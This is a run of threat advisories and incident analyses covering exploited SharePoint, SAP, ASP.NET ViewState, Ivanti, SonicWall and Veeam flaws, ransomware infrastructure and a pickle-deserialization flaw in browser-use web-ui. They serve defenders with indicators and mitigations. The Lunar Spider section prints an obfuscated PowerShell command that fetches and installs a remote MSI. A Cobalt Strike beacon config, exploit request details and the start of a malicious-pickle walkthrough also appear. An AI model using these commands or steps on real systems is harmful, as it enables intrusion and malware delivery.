Threat Alert CenterLearn More About Our Detection and Response Services
A critical zero-day vulnerability (now assigned CVE-2025-53770) has been identified in Microsoft SharePoint Server, affecting multiple on-premises versions.
The flaw allows unauthenticated remote code execution through a deserialization vulnerability in the ToolPane interface.
Attackers are currently exploiting the bug in the wild as part of a broader campaign targeting enterprise and government infrastructure.
This issue is a variant of the ToolShell exploit chain (CVE-2025-49706 and CVE-2025-49704), bypassing prior patches released in July 2025. It is currently being used to deploy web shells, extract MachineKey secrets, and maintain persistent access on compromised systems.
CVE ID: CVE-2025-53770
Severity: Critical (CVSS 9.8)
Status: Actively Exploited
Type: Unauthenticated Remote Code Execution via Deserialization
Affected Product: Microsoft SharePoint Server (on-premises)
The following Microsoft SharePoint on-premises versions are impacted:
CVE-2025-53770 is a .NET deserialization vulnerability in Microsoft SharePoint Server that allows unauthenticated remote code execution. The flaw lies in the improper handling of serialized data sent to the /_layouts/15/ToolPane.aspx endpoint when accessed with a specially crafted HTTP request.
By sending a malicious HTTP POST request to this endpoint with a Referer header set to /_layouts/SignOut.aspx the attacker can trigger vulnerable server-side logic that deserializes untrusted input.
The attacker injects a malformed .NET serialized object (typically crafted using tools like ysoserial.net) into the request body.
When this payload is deserialized by SharePoint’s backend components, it results in arbitrary code execution in the context of the SharePoint service account.
This vulnerability is a variant of the ToolShell exploit chain (CVE-2025-49704 and CVE-2025-49706), and it effectively bypasses Microsoft’s July 2025 security patches by exploiting a different logical path involving SignOut.aspx as a misleading referer.
Post-exploitation, attackers are observed:
File-based IOCs:
Log-based IOCs:
Known Malicious IP Addresses:
Defender AV/EDR Alerts:
The vulnerability can be identified with the following vulnerability scanners modules:
Microsoft has released out-of-band patches:
2. Enable/Verify AMSI & Defender Antivirus
3. Rotate ASP.NET MachineKeys
A guide published by Microsoft on rotating ASP.NET MachineKeys is available here: Improved ASP.NET view state security and key management – SharePoint Server | Microsoft Learn
4. Incident Detection and Response
A proof-of-concept (PoC) for CVE-2025-53770 is now publicly available, increasing the risk of widespread exploitation.
Indicators of compromise may be broader than those observed in the initial wave of attacks. Security teams should expand detection criteria and review historical telemetry for additional signs of compromise, including unusual child processes spawned by w3wp.exe, suspicious modules loaded and unkown dropped files.
The CFC will continue to monitor the situation and send an advisory update if needed. Immediate action is required to mitigate potential exploitation by applying patches, restricting access, and enhancing security monitoring. Organizations should prioritize these measures to safeguard their edge devices against potential threats.
On the 27th of March 2025, we’ve seen a previously unknown vulnerability (now tagged as CVE-2025-31324) in SAP NetWeaver Visual Composer being exploited in the wild, targeting exposed enterprise systems. The vulnerability allowed unauthenticated attackers to upload malicious JSP files and gain remote code execution, a critical risk for organizations running unpatched instances.
While technical details of the vulnerability have already been thoroughly documented elsewhere, this article focuses on a different aspect of the event: the observable indicators and adversary infrastructure used during the exploitation window.
After successful exploitation of the SAP NetWeaver Visual Composer vulnerability, attackers deployed JSP-based webshells to maintain access and issue follow-up commands. These webshells acted as a lightweight interface for remote interaction with the compromised systems.
Once established, the webshells were used to perform a range of standard post-exploitation tasks. These included:
Figure 1- Sample of commands executed through the Webshells
Infrastructure Analysis
Two commands were issued to test infrastructure connectivity:
ping 184.174.96.67
ping 88.119.174.107These IP were identified as hosting active Cobalt Strike command-and-control servers at the time of the campaign.
The IP address 184.174.96.67 has been associated with the domain officetoolservices[.]com
The IP was clearly hosting a Cobalt Strike server, as evidenced by its HTTP status code 404 and the “Content-Length: 0”
Figure 2- HTTP Response headers on port 88 taken from ZoomEye
In addition, at least four Cobalt Strike samples were using officetoolservices[.]com as their command-and-control (C2) domain:
52ed846c3b966539f851e79bba4172f0d460471012bb3933528367562ad6695c
89c272122477af854a51de4e220161d1c823a303151ebceb8788bb8ced2b7ba8
a8e44d7534d71b0671eb21400a1798296784af02124019b694b7e687405d7628
d2fa11395e93733d0957b8359faf19dd3c89bb044917e1488d74bd512c770c68
Figure 3- VT graph of 184.174.96.67
All four samples shared a compilation timestamp from early April, suggesting they were not part of the initial exploitation wave we observed at the end of March, but rather part of a second phase of activity, likely leveraging continued access or targeting additional victims using the same infrastructure.
The analysis of the IP address 88.119.174.107 confirms its part of the attack infrastructure. At least one Cobalt Strike beacon sample found on VirusTotal was configured to use this IP directly as its command-and-control (C2) endpoint.
The IP was also returning a HTTP response header “Server: golfe2” on multiple ports (8081,8082,6443,7443) combined with HTTP status code 404 and “Content-Length: 0”, confirming its running a CobaltStrike C2 Server.
Figure 4- VT Graph of 88.119.174.107
In addition, a URL observed in the wild (https://88.119.174%5B.%5D107:22443/file.ext) was actively serving a Cobalt Strike payload during the exploitation timeframe. The file retrieved from this endpoint was identified with the following hash d7e4bb95401a19f9bf7ca280a4e743229998494790ab129b31b2a6c1cebebec7
Figure 5- VT Graph of d7e4bb95401a19f9bf7ca280a4e743229998494790ab129b31b2a6c1cebebec7
Interestingly, although this beacon was delivered from 88.119.174.107, its internal configuration pointed to a different C2 domain: networkmaintenanceservice[.]com
This beacon is the same payload retrieved by a DNS cobalt stager we observed during the post-exploitation phase and had the following key configuration parameters:
{
"BeaconType": [
"Hybrid HTTP DNS"
],
"Port": 1,
"SleepTime": 23815,
"MaxGetSize": 2796804,
"Jitter": 41,
"MaxDNS": 253,
"C2Server": "www.networkmaintenanceservice.com,/sq,sso.networkmaintenanceservice.com,/sq,login.networkmaintenanceservice.com,/sq,signin.networkmaintenanceservice.com,/sq,profile.networkmaintenanceservice.com,/sq,store.networkmaintenanceservice.com,/sq",
"DNS_Idle": "253.58.253.29",
"DNS_Sleep": 133,
"HttpGet_Verb": "GET",
"HttpPost_Verb": "POST",
"HttpPostChunk": 0,
"Spawnto_x86": "%windir%\\syswow64\\runonce.exe",
"Spawnto_x64": "%windir%\\sysnative\\runonce.exe",
"CryptoScheme": 0,
"Proxy_Behavior": "Use IE settings",
"Watermark": 1357776117,
"bStageCleanup": "True",
"bCFGCaution": "False",
"KillDate": 0,
"bProcInject_StartRWX": "False",
"bProcInject_UseRWX": "False",
"bProcInject_MinAllocSize": 24330,
"ProcInject_PrependAppend_x86": [
"kJCQ",
"Empty"
],
"ProcInject_PrependAppend_x64": [
"kJCQ",
"Empty"
],
"ProcInject_Execute": [
"CreateThread",
"RtlCreateUserThread",
"CreateRemoteThread"
],
"ProcInject_AllocationMethod": "VirtualAllocEx",
"bUsesCookies": "True",
"HostHeader": ""
}A notable characteristic shared across all Cobalt Strike beacons observed from the previous links is the watermark 1357776117. In Cobalt Strike, the watermark is a unique identifier embedded in each beacon, typically tied to a specific license or build. While these IDs can be reused (especially in cracked or leaked versions of the tool) they often serve as useful correlation points across unrelated incidents.
Watermark 1357776117 has been previously associated with activity linked to both the BlackBasta ransomware group and the Qilin ransomware operation. Although watermark reuse complicates direct attribution, the appearance of this same identifier across all observed beacons suggests that the actors involved are likely ransomware-driven.
Observation of the adversary’s infrastructure showed consistent naming conventions across multiple domains and subdomains. The attacker repeatedly used prefixes such as “sso.” and “login.” likely in an attempt to blend malicious traffic into legitimate enterprise communications.
Examples include:
The recurrence of these prefixes across unrelated domains suggests automated infrastructure generation, possibly using templated scripts or orchestration tooling to rapidly deploy new redirectors or C2 servers with plausible, enterprise-looking subdomains.
This campaign is a clear reminder that even ransomware groups now have access to zero-day vulnerabilities, once considered the exclusive domain of state-sponsored actors. Whether acquired through underground marketplaces, private exploit developers, or collaboration with initial access brokers, the use of a NetWeaver zero-day highlights how the ransomware ecosystem continues to evolve in both capability and reach.
The following list of indicators was extracted from observed activity related to the SAP NetWeaver exploitation campaign:
184.174.96[.]67
184.174.96[.]74
88.119.174[.]107
177.54.223[.]24
180.131.145[.]73
officetoolservices[.]com
networkmaintenanceservice[.]com
misctoolsupdate[.]com
leapsummergetis[.]com
onlinenetworkupdate[.]com
During a recent incident response engagement in June, our team observed an unattributed adversary exploiting a public-facing ASP.NET application, immediately followed by hands-on-keyboard activity. The initial access vector aligns with the technique described by Microsoft in February, involving the use of a known MachineKey to craft and sign malicious __VIEWSTATE payloads. This allowed the attacker to achieve remote code execution on the vulnerable server.
Post-compromise activity included the usage of in-memory Godzilla webshell, as noted in Microsoft’s prior reporting, along with post-exploitation framework Cobalt Strike. Additionally, poor OPSEC was observed throughout the intrusion, indicating potential gaps in adversary tradecraft despite the effective initial access.
While the adversary’s motivation remained unclear, they attempted to enumerate files on a file share and successfully downloaded several files. We assess with low to medium confidence that the adversary may originate from China, based on the observed TTPs and certain technical indicators identified during the investigation. The targeting of the health sector is still consistent with prior reporting, including the HC3 analyst note on the Godzilla webshell published in November 2024.
Figure 1- ViewState code injection attack chain leading to Godzilla (src: Code injection attacks using publicly disclosed ASP.NET machine keys | Microsoft Security Blog)
Although _VIEWSTATE deserialization exploits have been known for over a decade, adversaries continue to use them as an initial access vector, reflecting a widespread lack of visibility and effective mitigation of insecure configurations.
In practice, the __VIEWSTATE is a Base64-encoded string stored in a hidden field, used by ASP.NET Web Forms to persist the state of server-side controls across postbacks. This allows controls (like text boxes, dropdowns, etc.) to retain their values without the need for re-fetching from the server. Microsoft introduced protections to prevent malicious users from tampering with the contents of _VIEWSTATE. These protections include the use of a Message Authentication Code (MAC) to ensure integrity and encryption to ensure confidentiality. However, if an attacker gains possession of the MachineKey, which consists of both the ValidationKey (for the MAC) and the DecryptionKey (for encryption), they can craft malicious objects that will be accepted and deserialized by the server, potentially leading to code execution.
One key concept in .NET deserialization attacks is the use of a “gadget”, a class (or chain of classes) that already exists in the application or .NET framework and which executes code during deserialization. The final payload must be deserialized into an object of this class (or chain) to achieve remote code execution (RCE).
When our team started working on the case, the initial access vector was unclear. What we did know was that the w3wp.exe process had loaded suspicious .NET assemblies, and that webshells had been dropped on the affected server. Given this combination, the most likely explanation was exploitation of a vulnerability in the web application or the web server itself.
Among the .NET assemblies loaded, one particularly revealing artifact stood out, a .pdb path embedded in the binary metadata:
C:\Users\hbada\Desktop\ActivitySurrogateSelector\LoadLibrary\obj\Debug\LoadLibrary.pdb
The name ActivitySurrogateSelector refers to a known .NET serialization gadget that can be exploited to achieve arbitrary code execution during deserialization, especially when ViewState deserialization is misconfigured or MAC protection is bypassed.
Upon further investigation within the same time window, application logs revealed additional evidence of the attack. Specifically, Event ID 1316 was recorded with event value 4009, indicating that the adversary was attempting to inject malicious “__VIEWSTATE” payloads. This event is typically associated with ViewState validation failures, and in this context, it strongly suggested active tampering attempts using forged or manipulated serialized objects.
Figure 2- Application event log 1316
We then compared the application’s MachineKey values against a set of publicly known keys and discovered they were in fact already exposed. This confirmed that the application was using publicly available keys, a critical misconfiguration that enabled the attacker to forge valid ViewState payloads and bypass integrity validation.
The deserialized payload enabled the adversary to execute a series of commands aimed at discovering and enumerating the environment:
Note the mistyped commands such as “gorup” instead of “group” and “teamssix” value (a likely reference to the well-known cybersecurity blog Teamssix, which primarily targets Chinese-speaking audiences). These patterns, combined with the operational behavior, suggest that the adversary is likely Chinese-speaking and operating in a hands-on-keyboard manner.
Our adversary subsequently re-exploited the vulnerability to deploy password-protected webshells in multiple locations within the application including the “/Images” directory, in-memory Godzilla webshell, along with other post-exploitation tools such Cobalt Strike. Many of these attempts were blocked by the antivirus solution.
Figure 3- Failed attempt to load CobaltStrike implant
When the malicious .aspx webshell were uploaded and accessed, ASP.NET dynamically compiled it into a .NET assembly, resulting in a corresponding .dll file written to the Temporary ASP.NET Files directory under:
C:\Windows\Microsoft.NET\Framework64\<dotnet_version>\Temporary ASP.NET Files\root\< random >\<random>\App_Web_< random >.dll
This compiled DLL were then loaded into the IIS worker process (w3wp.exe) and executed as part of the normal request pipeline. The presence of these DLLs, serves as forensic artifact, indicating that the webshell was not only uploaded but also requested and executed by the server. In many cases, these DLLs can be reverse engineered to recover the webshell source code and capabilities when the source file is lost or cleaned.
We were able to get hands on the in-memory Godzilla-injected assembly, and analysis showed that it uses two main blocks:
Figure 4- In-memory webshell and assembly loading
Figure 5- AMSI bypass via hardware breakpoint
The attacker attempted to reflectively load the Juicy Potato tool, a well-known privilege escalation tool allowing local privilege escalation from a Windows Service account to “NT AUTHORITY\SYSTEM”. This attempt failed as the AMSI still detected the loading attempt and the antivirus blocked its execution.
Figure 6- JuicyPotato detected by AMSI
Using the capabilities of the post-exploitation frameworks, the attacker attempted to pivot laterally via RDP, but these attempts were unsuccessful as only failed logons were recorded on the target host, indicating that the credentials used were invalid.
The adversary’s brief intrusion ended there, as their implants were removed and the affected host was contained.
Early detection and response enabled us to stop the adversary before the attack could escalate, potentially preventing a far more severe breach.
However, these are two takeaways from this incident that should be considered going forward:
Lunar Spider is a financially motivated cybercrime group that has been active since at least 2017. The group primarily engages in financial fraud and access brokerage, targeting financial institutions, enterprises, and other organizations in North America and Europe.
Initially gaining notoriety through its use of the BokBot banking trojan (also known as IcedID), Lunar Spider has since evolved its tooling to include more advanced loaders such as Bumblebee and Lotus V2. The Lotus V2 loader is specifically designed for stealthy operation, facilitating the delivery of second-stage payloads to compromised systems.
Recent activity observed by our team links Lunar Spider to new delivery campaigns involving the Lotus V2 loader, leveraging deceptive techniques to bypass security defenses.
Figure 1: Lotus V2 – Infection chain
The campaign employs a fake CAPTCHA-based delivery tactic, designed to lure users into believing they must complete a CAPTCHA verification to continue browsing. This interaction initiates the execution of a malicious PowerShell command.
The observed PowerShell script uses COM object abuse (WindowsInstaller.Installer) to silently download and execute a malicious MSI package from a remote server:
C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -Window Hidden -C "$s='WindowsInstaljer.Installer';$x=($s[0..12]+'l'+$s[14..$s.Length])-join'';$i=New-Object -ComObject $x;$i.UILevel=2;$i.InstallProduct('https://icwwk[.]com','')Once the MSI installer is executed, it installs a legitimate executable into the %APPDATA% directory. In one observed case, this was a valid Intel Graphics binary placed at:
%APPDATA%\intel\igfxSDK.exeSHA256:
b7f8750851e70ec755343d322d7d81ea0fc1b12d4a1ab6a60e7c8605df4cd6a5Simultaneously, a malicious DLL named WTSAPI32.dll is dropped in the same directory:
SHA256:
e798f2b3f7a44f5a9db7199964a0b5cc157db8cb1e84a3c8cbe721dbac0f0604This binary exploits the DLL search order used by the legitimate binary, enabling DLL sideloading. When igfxSDK.exe is executed, it loads the attacker-controlled DLL instead of the legitimate system one. This results in the execution of the Lotus V2 loader, which is embedded within the malicious DLL.
At this stage of the infection chain, no alert was triggered by the EDR solution, likely due to the use of a trusted binary and a signed (though revoked) certificate for the malicious DLL, allowing the operation to remain stealthy.
Once executed, the malicious DLL initiates outbound communication to command and control infrastructure. This activity originates from the trusted process igfxSDK.exe. In our observed case, the EDR blocked the network callbacks and raised an alert based on threat intelligence signatures.
Lunar Spider operators have used stolen or abused code-signing certificates to sign malicious Lotus V2 components, further enhancing evasion by making the payloads appear trustworthy.
Certificate 1:
Associated Signed DLLs (SHA256):
Associated C2 Domains:
Certificate 2:
Associated Signed DLLs (SHA256):
Associated C2 Domains:
To complement EDR coverage, continuous threat hunting and the implementation of custom detection rules are essential for maintaining security, especially in scenarios where alerts are missed or gaps exist in system visibility.
(Tactics, Techniques, and Procedures) table based on the Lunar Spider – Lotus V2 Loader Campaign
On June 1 7, data resilience vendor Veeam released security updates to fix three vulnerabilities: one critical severity RCE and one high severity ACE vulnerability in Backup & Replication (VBR), as well as a medium severity local privilege escalation bug affecting the Windows Veeam agent. Importantly, successful exploitation first requires authentication in all three cases.
Veeam notes in the advisory that “unsupported versions are not tested, but are likely affected and should be considered vulnerable.”
CVE-2025-23121 (VBR, Critical/9.9):
CVE-2025-24286 (VBR, High/7.2):
CVE-2025-24287 (Veeam Agent for Windows, Medium/6.1):
The CFC will continue to monitor the situation and send an advisory update if needed. Investigation of threat hunting possibilities is ongoing.
Clients subscribed to our vulnerability scan services will receive relevant results if critical vulnerabilities are found within the scope of the scans as soon as a relevant plugin is made available by the scan provider.
Qualys IDs: (None at time of writing)
Tenable IDs: (None at time of writing)
https://www.bleepjngcomputer.com/news/security/new-veeam-rce-flaw-lets-domain-users-hack-backupz servers/
https://cybersecuritynews.com/veeam-vulnerabilities/
https://www.veeam.com/kb4743
CloudSEK’s BeVigil platform has recently uncovered a critical security flaw affecting a major aviation organization, exposing sensitive Azure Active Directory (Azure AD) data of over 50,000 users. The vulnerability stems from an exposed JavaScript file containing an unauthenticated API endpoint that issues elevated access tokens to the Microsoft Graph API. This exposure grants unauthorized access to detailed employee information, including executive-level data, putting the organization at significant risk of identity theft, privilege escalation, and targeted phishing attacks.
The vulnerability discovered by CloudSEK’s BeVigil platform was traced to a misconfigured public-facing JavaScript bundle hosted on a subdomain owned by a major aviation company. Upon inspection, this script was found to contain a hardcoded reference to an internal API endpoint. Critically, this endpoint was accessible without any form of authentication or authorization, exposing it to anyone who had knowledge of its location.
This unauthenticated endpoint issued Microsoft Graph API access tokens with elevated permissions, specifically User.Read.All and AccessReview.Read.All. These scopes allow broad visibility into Azure Active Directory (AD), including full user profiles, directory structure, and access governance policies.
Using these tokens, an attacker could query Microsoft Graph endpoints such as /users and /accessReviews, retrieving sensitive details for over 50,000 Azure AD users. The data included personal identifiers, user principal names (UPNs), job titles, contact information, reporting lines, and access review configurations — all without triggering any form of access control.
Particularly concerning was the exposure of executive and high-privilege user data, which significantly increases the risk of impersonation, spear phishing, and identity-based attacks. The API continued returning information for newly added users, further compounding the risk.
The root cause was a combination of exposing sensitive logic in client-side code and failing to enforce authentication or authorization on a backend service. No rate limiting or monitoring was in place, making the endpoint trivially exploitable and difficult to detect. This reflects a serious lapse in secure API design, identity management, and frontend-backend separation.
To mitigate the risks associated with this vulnerability, the following actions should be prioritized:
The CFC will continue to monitor the situation and send an advisory update if needed. Mentioned action is required to mitigate potential exploitation by restricting access, and enhancing security monitoring. This incident underscores the importance of securing front-end components and ensuring that sensitive backend services are never directly exposed. Organizations must proactively monitor their digital infrastructure and enforce strict access controls to protect user data and maintain regulatory compliance.
50,000+ Azure AD Users Exposed via Unsecured API: BeVigil Uncovers Critical Flaw | CloudSEK
50,000+ Azure AD Users Access Token Exposed From Unauthenticated API Endpoint#cybersecurity #azure #api | Steven Lim
On March 13, Ivanti disclosed two vulnerabilities which a ect their on-premise Endpoint Manager Mobile product: CVE-2025-4427 (an authentication bypass) and CVE-2025-4428 (an authenticated RCE vulnerability). While neither bug is critically severe on its own, with CVSS scores of 5.3 and 7.2, when chained together they provide a route for an unauthenticated remote attacker to execute malicious code on affected EPMM instances. Ivanti has confirmed limited in-the-wild exploitation of these bugs prior to initial disclosure, and multiple external sources including GreyNoise and Wiz have since confirmed ongoing in-the-wild exploitation starting on May 16, roughly coinciding with the public release of proof-of-concept code.
Ivanti Endpoint Manager Mobile, of the following versions:
Wiz summarizes the bugs’ technical details nicely:
“CVE-2025-4428 is a post-auth remote code execution vulnerability in EPMM’s DeviceFeatureUsageReportQueryRequestValidator. It arises from the unsafe handling of user-supplied input within error messages processed via Spring’s AbstractMessageSource, which allows attacker-controlled EL (Expression Language) injection. A crafted format parameter in the /api/v2/featureusage endpoint results in arbitrary Java code execution, confirmed via command injection (e.g., Runtime.exec()).
CVE-2025-4427 is an authentication bypass caused by improper request handling in EPMM’s route configuration. Routes like /rs/api/v2/featureusage were unintentionally exposed without requiring authentication due to missing <intercept-url> rules in Spring Security configurations. This allows unauthenticated access to the RCE sink, enabling full pre-auth RCE when chained with CVE2025-4428. However, as noted by watchTowr, this is more accurately described as an order-of-operations aw, as validator logic executes before authentication checks.”
Wiz has additionally shared IOCs gathered from one case of interest, the post-exploitation deployment of a Sliver implant:
The C2 IP address still appears to be operational, and based on a shared certi cate, likely means the following servers are also operated by this actor:
Patch your EPMM instance to one of the following versions:
Until patches are applied, restrict network access to the endpoints a ected by the authentication bypass, /rs/api/v2/* and /mifs/rs/api/v2/*.
The CFC will continue to monitor the situation and send an advisory update if needed. Beyond IOC searches, investigation of additional threat hunting possibilities is ongoing.
Clients subscribed to our vulnerability scan services will receive relevant results if critical vulnerabilities are found within the scope of the scans as soon as a relevant plugin is made available by the scan provider.
Qualys IDs: 530061, 732523
Tenable ID: 235860
https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM https://www.ivanti.com/blog/epmm-security-update https://www.greynoise.io/blog/ivanti-epmm-zero-days-reconnaissance-exploitation https://www.wiz.io/blog/ivanti-epmm-rce-vulnerability-chain-exploited-in-the-wil-cve-2025-4427-cve-2025-4 https://labs.watchtowr.com/expression-payloads-meet-mayhem-cve-2025-4427-and-cve-2025-4428/
On May 7, 2025, SonicWall and Rapid7 disclosed three vulnerabilities affecting SonicWall Secure Mobile Access (SMA) 100 Series appliances, including models 200, 210, 400, 410, and 500v. These vulnerabilities, tracked as CVE-2025-32819, CVE-2025-32820, and CVE-2025-32821, allow low-privileged authenticated SSLVPN users to escalate privileges and achieve root-level remote code execution (RCE) by chaining the flaws.
The vulnerabilities have been addressed in firmware version 10.2.1.15-81sv, and SonicWall strongly advises all customers to upgrade immediately. Notably, Rapid7 has observed indications that CVE-2025-32819 may have been exploited in the wild.
Impacted Products:
Affected Versions:
Fixed Version:
The vulnerabilities can be exploited in a sequence:
By chaining these vulnerabilities, an attacker can escalate privileges and execute arbitrary code with root-level access on the affected SMA appliance.
Until the patch is applied, consider the following mitigations:
Note: These measures reduce risk but do not eliminate the vulnerability. Upgrading to the patched firmware version is the only complete remediation.
Security teams should implement the following detection strategies:
The Cyber Fusion Center (CFC) is actively monitoring for exploitation attempts and evaluating threat intelligence for indicators of compromise (IOCs). Actions include:
At this time, there is no confirmed public proof-of-concept (PoC) exploit, but the potential for exploitation underscores the urgency of applying the available patches.
References
On February 11, 2025, an individual operating under the alias “ExploitWhispers” leaked a Matrix chat involving assessed affiliates of the BlackBasta ransomware group. In this blog, we break down the key takeaways from the chat logs and share our analysis—along with custom detection rules based on the insights uncovered.
Some of the IP addresses identified in the leak are linked to a known compromise set associated with the threat actor tracked as “Water Barghest.” This group’s botnet is believed to have compromised over 20,000 IoT devices by leveraging vulnerabilities found through publicly available internet scan databases—ultimately converting those devices into proxies. According to a TrendMicro report, several of these IPs have also been used by both advanced persistent threat (APT) groups and cybercriminals, either knowingly or unknowingly.
According to the leaked chat we can see 3 IP’s hosted by Hetzner used as a proxy.
128.140.36[.]37;AS24940;Hetzner Online GmbH;Germany
157.90.166[.]88;AS24940;Hetzner Online GmbH;Germany
162.55.217[.]30;AS24940;Hetzner Online GmbH;Germany
From an external perspective, activity linked to the group was first observed in late November 2023 by Proofpoint, which identified the use of Latrodectus malware in phishing campaigns. This activity declined toward the end of 2023 and into January 2024, before intensifying again in March 2024.
Figure 1 : Infrastructure map
From an internal perspective, we observe several correlations with the timeline outlined in Proofpoint’s analysis of these IOCs. In late 2023, chat logs show that @usernamegg shared a newly signed malware sample with the team, packaged in a ZIP file named drs1312_signed.zip. Their objective was to bypass antivirus and EDR solutions, though they encountered certain limitations. The discussions included strategies for evading detection, such as abusing rundll32.exe to load malicious DLLs or using JavaScript and VBScript files as loaders.
By March 2024, the team had deployed new builds and conducted tests within their own infrastructure, notably using avcheck[.]net to evaluate malware detectability. By June 2024, they began utilizing SOCKS proxies to further obfuscate their operations.
They often sell and buy credentials from private marketplaces for their initial access phase.
Figure 2 : discussion about credential selling between actors
Following an article shared by @usernamegg we can identify some credentials including IP’s linked to Darkgate and Pikabot activity by the messages between members of the group.
Figure 3 : Discussion about loaders
Based on the chat logs we can tell that they all have defined roles with @usernamegg as their leader
Figure 4 : organization map
We assess with medium confidence the organizational chart presented in Figure 4. For additional context, we recommend reviewing an alternative visual representation of BlackBasta’s structure provided by Flare[1].
The Identification of Tramp has been made by LeMagIT a french news website that explained his story based on their internal historic[2].
While the observed infrastructure may be shared among multiple actors, it also shows notable correlations with groups tracked by Proofpoint as TA577 and TA578.
We assess with moderate confidence that TA577 has been active since 2021 and exhibits several similarities to the indicators identified in the leaked chat logs. These include the use of Cobalt Strike from IP address 108.181.132[.]118, as well as the deployment of Latrodectus and IcedID malware—both of which align with patterns observed earlier in this analysis.
TA578, meanwhile, is closely associated with botnet-based operations involving SSLoad and Bumblebee malware—key components within the broader botnet ecosystem. As noted previously, infrastructure reuse through open proxies is a common tactic among affiliates and developers, further supporting these connections.
We also observe some activities linked with Pikabot manipulation added with the infrastructure containing IP’s that deliver Pikabot.
Figure 5 : Pikabot tests
The usage of an IP that belongs to proton66 with a tool called Brutus has been mentioned as well, it seems to be a tool for performing bruteforce tasks from “45.140.17[.]23”.
Figure 6 : Brutus tool usage
This team offers a broad range of services related to malware development and offensive cyber operations, driven primarily by financial gain. Their offerings include FUD (Fully Undetectable) loaders, digital certificates, initial access brokerage, botnet sales, pre-configured server setups, and deployment of the BlackBasta ransomware. Affiliates primarily transact using cryptocurrencies such as Bitcoin, Tether, and Monero.
Figure 7 : Financial scheme
To evade detection during cryptocurrency transactions, the group follows a set of operational security practices, including:
Figure 8 : money laundering scheme
The leaked chat provides confirmation of internal policies regarding target selection, which align with earlier analysis by LeMagIT. Notably, the individual known as “gg,” also referred to as “Tramp,” was previously reported to have bribed FSB and GRU agents in exchange for protection. However, following his arrest, his relationship with local authorities appears to have shifted significantly.
Figure 9 : Directives from @usernamegg
We can also notice some discussions about local authorities issues.
Figure 10 : Discussion about the local authorities
Based on the contents of the leaked JSON file, the Matrix chat reveals that BlackBasta affiliates maintain deep ties to the botnet ecosystem. The infrastructure leveraged by these ransomware actors—such as proxies and virtual private servers (VPS)—has been widely reused across both public and private forums, enabling a range of malicious activities from system compromise to laundering illicit gains.
While the identity and intent of the leaker remain unknown, the data appears to be incomplete, with records ending on September 28, 2024. Nonetheless, the leak provides valuable insight into the operational tactics, organizational structure, and monetization strategies of the BlackBasta group. For technical defenders, the annex includes a set of YARA rules derived from our analysis to assist in threat detection and mitigation.
At Kudelski Security, our Incident Response Services are designed to help you quickly detect, contain, and recover from cyberattacks—minimizing damage and restoring confidence. Reach out to our team to build or strengthen your response strategy today.
https://www.trendmicro.com/en_us/research/24/k/water-barghest.html
https://chatgpt.com/g/g-67b80f8b69f08191923d8e6c3fb929b6-blackbastagpt
https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware
https://www.cybercrimediaries.com/post/black-basta-chat-leak-organization-and-infrastructures
https://www.lemagit.fr/actualites/366619807/Ransomware-de-REvil-a-Black-Basta-que-sait-on-de-Tramp
https://flare.io/learn/resources/blog/deciphering-black-bastas-infrastructure-from-the-chat-leak/
FUD Loaders +certificates
Initial access selling
Botnet selling
Pre-configured servers
Ransomware deployment of BlackBasta
[1] https://www.predictagraph.com/graph/snapshot/4f519654-9c80-44fa-a68c-3eb5ea099c4a
[2] https://www.lemagit.fr/actualites/366619807/Ransomware-de-REvil-a-Black-Basta-que-sait-on-de-Tramp
Browser-use is an open source Python library that can be used to build AI agents that control web browsers. It’s publicly available on Github: https://github.com/browser-use/browser-use. The official README file mentions the existence of another project named “web-ui”, which is hosted under the same Github organization: https://github.com/browser-use/web-ui.
browser-use/web-ui is a web application that lets a user run browser-use agents with only a few clicks. Indeed, browser-use is helping people control a web browser using text instructions, such as the following:
“Go to Amazon and add the best book about BBQ recipes to the shopping cart. I have a $30 budget.”
With the above instructions, Browser-use would start a new web browser instance – or connect to an existing one, depending on the settings – and use an LLM to control the web browser so that the user’s task is performed. For example, the agent can scroll pages, click links and buttons, fill forms, and more.
Users have to provide their own LLM provider API keys in a .env file, and once that is set up, the web-ui web app can be used to select which LLM provider and model to use, and various browser and agent settings can be adjusted according to the user’s needs.
The configuration tab can be used to save/load all settings to/from a file. This file will contain all settings from all the tabs in web-ui.
It turns out that Python’s pickle module is used to serialize those settings. This is obviously insecure because an attacker could load a malicious pickle file that contains arbitrary code, which would be executed server-side when the pickle file is deserialized.
At the time, I first thought that nobody would run this publicly because there’s no authentication whatsoever. And so, I believed that this was unlikely to be exploited as-is because one must first get access to the web-ui web app to be able to upload a malicious pickle file. But it turns out that there are a few dozen internet-facing instances of web-ui according to ZoomEye. Since those instances are publicly reachable on the internet, anyone could upload a malicious pickle file through the web application there. Let’s see how this vulnerability can be exploited.
There are multiple ways to create a malicious pickle file. Here we describe one way that worked for us. First, we build a regular pickle config file:
import pickle
import uuid
import os
def default_config():
"""Prepare the default configuration"""
return {
"agent_type": "custom",
"max_steps": 100,
"max_actions_per_step": 10,
"use_vision": True,
"tool_calling_method": "auto",
"llm_provider": "openai",
"llm_model_name": "gpt-4o",
"llm_temperature": 1.0,
"llm_base_url": "",
"llm_api_key": "",
"use_own_browser": os.getenv("CHROME_PERSISTENT_SESSION", "false").lower() == "true",
"keep_browser_open": False,
"headless": False,
"disable_security": True,
"enable_recording": True,
"window_w": 1280,
"window_h": 1100,
"save_recording_path": "./tmp/record_videos",
"save_trace_path": "./tmp/traces",
"save_agent_history_path": "./tmp/agent_history",
"task": "go to google.com and type 'OpenAI' click search and give me the first url",
}
def load_config_from_file(config_file):
"""Load settings from a UUID.pkl file."""
try:
with open(config_file, 'rb') as f:
settings = pickle.load(f)
return settings
except Exception as e:
return f"Error loading configuration: {str(e)}"
def save_config_to_file(settings, save_dir="./tmp/webui_settings", name=None):
"""Save the current settings to a UUID.pkl file with a UUID name."""
os.makedirs(save_dir, exist_ok=True)
outname = f"{uuid.uuid4()}.pkl"
if name is not None:
outname = name
config_file = os.path.join(save_dir, outname)
with open(config_file, 'wb') as f:
pickle.dump(settings, f)
return f"Configuration saved to {config_file}"
def update_ui_from_config(loaded_config):
if isinstance(loaded_config, dict):
print("load success")
return loaded_config.get("agent_type", "custom")
else:
pass
print("not a dict object")
return "foobar"
if __name__ == "__main__":
save_config_to_file(default_config(), save_dir=".", name="default.pkl")This creates a file named default.pkl with the default web-ui config.
Next, we install fickling and we use it to inject malicious code into the pickle file, which will be executed when the file is deserialized:
uv tool install git+https://github.com/trailofbits/fickling
